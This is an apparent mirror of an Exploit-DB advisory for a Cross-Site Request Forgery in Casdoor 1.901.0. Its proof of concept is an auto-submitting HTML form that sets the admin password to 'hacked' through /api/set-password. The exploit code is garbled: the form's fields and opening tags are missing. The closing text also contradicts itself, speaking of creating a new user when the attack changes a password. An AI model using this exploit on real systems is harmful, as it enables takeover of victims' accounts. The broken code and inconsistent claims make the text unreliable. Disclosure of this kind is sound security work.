Casdoor 1.901.0 – Cross-Site Request Forgery (CSRF) - 体验盒子

作者： Van Lam Nguyen

日期： 2025-05-06

类别：

webapps

平台：

go

来源：https://www.exploit-db.com/exploits/52281/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

# Exploit Title: Casdoor 1.901.0 - Cross-Site Request Forgery (CSRF)

# Application: Casdoor

# Version: 1.901.0

# Date: 03/07/2024

# Exploit Author: Van Lam Nguyen

# Vendor Homepage: https://casdoor.org/

# Software Link: https://github.com/casdoor/casdoor/archive/refs/tags/v1.901.0.zip

# Tested on: Windows

# CVE : N/A

Overview

==================================================

Casdoor v1.901.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password.

This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept

==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>

</form>

history.pushState('', '', '/');

document.forms[0].submit();

</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built-in

userName: admin

newPassword: hacked